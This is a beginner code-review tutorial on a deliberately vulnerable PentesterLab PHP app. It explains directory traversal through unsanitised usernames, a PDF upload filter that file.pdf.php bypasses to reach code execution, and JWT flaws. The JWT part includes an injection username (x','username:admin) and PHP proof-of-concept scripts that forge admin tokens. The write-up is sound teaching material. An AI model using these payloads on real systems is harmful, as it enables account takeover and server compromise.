Beginner Code Review (Part 2)
Part 2 of the Beginner Code Review Series. Here I will be describing how the vulnerabilities found can be used to escalate privileges. I also got the code to run so it is easier for everyone to understand and not just code.
I have updated the code so it can be run after PHP 5.0. Also visit the link if the PHP scripts are not running.
https://github.com/h-a-c/pentesterlab-codereview-free
https://www.techrepublic.com/article/how-to-fix-apache-2-not-executing-php-files/
Broken Authorization for Privilege Escalation
Vulnerabilities used:
- Directory Listing
- Lack of input sanitization
Description:
Due to the lack of input sanitization on the register functionality it is possible to have a username with non-alphanumeric characters. This means it is possible to perform directory traversal as the getfiles() function uses the username to navigate to the user’s file storage.
In addition, as the files are hosted on the web root and there are no access controls in place. As a result, it is possible for an unauthenticated user to view the admin’s secret file.
Unrestricted file upload to Remote Code Exec
Vulnerabilities used:
- Unrestricted file upload
- Broken Authorization
Description:
In the application there is a file upload functionality on index.php. It is designed to only accept PDF files and the code to ensure this happens is in /classes/user.php.
The regex here looks for the string “.pdf” in the file name. However, this string can be anywhere in the file name. As a result a file such as file.pdf.php will be allowed.
When a php file is uploaded, the file should be accessible from the location 127.0.0.1/file/[user]/file.pdf.php. From here, it should be possible to create a reverse shell and gain access to the host system. This walk through affects the confidentiality, integrity and availability of the whole system.
JSON Web Token Privilege Escalation
Before beginning this walk through, here is a quick breakdown on the structure of JSON Web Tokens:
Format: header.payload.signature
Header: Algorithm, Type
Payload: variables and values
Signature: HMACSHA256(b64UrlEncode(header)+”.”+b64UrlEncode(payload), secret)
In this web application, there are two problems with how JWTs are implemented in this application. In jwt.php there are 4 functions:
- sign
- signature
- verify
- parse_json
There are vulnerabilities in all of these functions.
Exploiting the verify function:
The if statement works as follows:
If the signature exists, perform a check to see if it is valid. If it is invalid, die. Otherwise continue.
As a result it is possible to not include a signature and no checks will be performed. The purpose of the signature is to ensure the message has not been tampered with and this cannot be guaranteed anymore.
Exploiting parse_json function:
The way the parse_json function works is by splitting up the string by the commas. The sign function contains no sanitization for special characters such as commas.
As a result, if the username has a comma and double quotes, it will affect the contents of the JWT when decoded. This can be exploited to impersonate other users. Here is an example username that can be used to hijack other accounts.
x”,”username:admin
Proof of concept code for exploiting JWT:
jwtverify.php
<?phpfunction verify($auth) {
list($h64,$d64,$sign) = explode(".",$auth);
print_r("h64:\t".$h64);
print_r("\nd64:\t".$d64);
print_r("\nsign:\t".$sign);
print_r("\n-----\n");
if (!empty($sign) and (signature($h64.".".$d64) != $sign)) {
die("Invalid Signature");
}
$header = base64_decode($h64);
$data = base64_decode($d64);
print_r("header:\t".$header);
print_r("\ndata:\t".$data);
print_r("\n......\n");
return parse_json($data);
}function signature($data) {
return hash("sha256","donth4ckmebr0".$data);
}function parse_json($str) {
$data = explode(",",rtrim(ltrim($str, '{'), '}'));
print_r("\n\n---------------\n\n");
$ret = array();
foreach($data as $entry) {
list($key, $value) = explode(":",$entry);
$key = rtrim(ltrim($key, '"'), '"');
$value = rtrim(ltrim($value, '"'), '"');
$ret[$key] = $value;
}
return $ret;
}print_r(verify("eyJhbGciOiJIUzI1NiIsImlhdCI6MTU4ODE1OTU2MX0.eyJ1c2VybmFtZSI6InRlc3QiLCJ1c2VybmFtZTphZG1pbiIsfQ==.328a0231d16e6a67027132b7a4ce69dc6c3b8c1e865b070d982c5b3921a2ec11"));
jwtcreate.php
<?phpfunction sign($data) {
$header = str_replace("=","",base64_encode('{"alg":"HS256","iat":'.time().'}'));
$token = "{";
$token.= '"username:admin"';
$token .= "}";
$to_sign = $header.".".base64_encode($token);
return $to_sign.".".signature($to_sign);
}function signature($data) {
return hash("sha256","donth4ckmebr0".$data);
}print_r(sign(""));
print_r("\n");
What’s next
Next part in this series will be about the methodologies I took to perform the static code analysis.